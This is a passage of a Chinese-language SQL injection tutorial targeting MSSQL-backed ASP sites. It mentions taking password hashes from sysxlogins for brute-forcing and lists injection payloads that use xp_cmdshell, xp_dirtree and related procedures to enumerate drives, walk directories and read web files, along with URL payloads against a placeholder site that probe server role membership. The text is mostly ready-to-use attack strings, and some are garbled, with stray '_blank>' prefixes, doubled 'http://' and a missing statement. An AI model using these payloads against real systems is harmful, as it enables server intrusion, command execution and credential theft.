这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。
遍历目录的方法:
先创建一个临时表:temp
5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:/';-- 获得子目录列表
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- 获得所有子目录的目录树结构,并寸入temp表中
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:/web/index.asp';-- 查看某个文件的内容
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc'
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';-- (xp_dirtree适用权限PUBLIC)
写入表:
语句1:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
语句2:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
语句3:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
语句4:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
语句5:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
语句6:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
语句7:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--

语句9:_blank>http://www.xxxxx.com/down/list.asp?id=1 and 1=(select IS_MEMBER('db_owner'));--
把路径写到表中去:
_blank>http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:/'-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:/web'--
语句:_blank>http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)
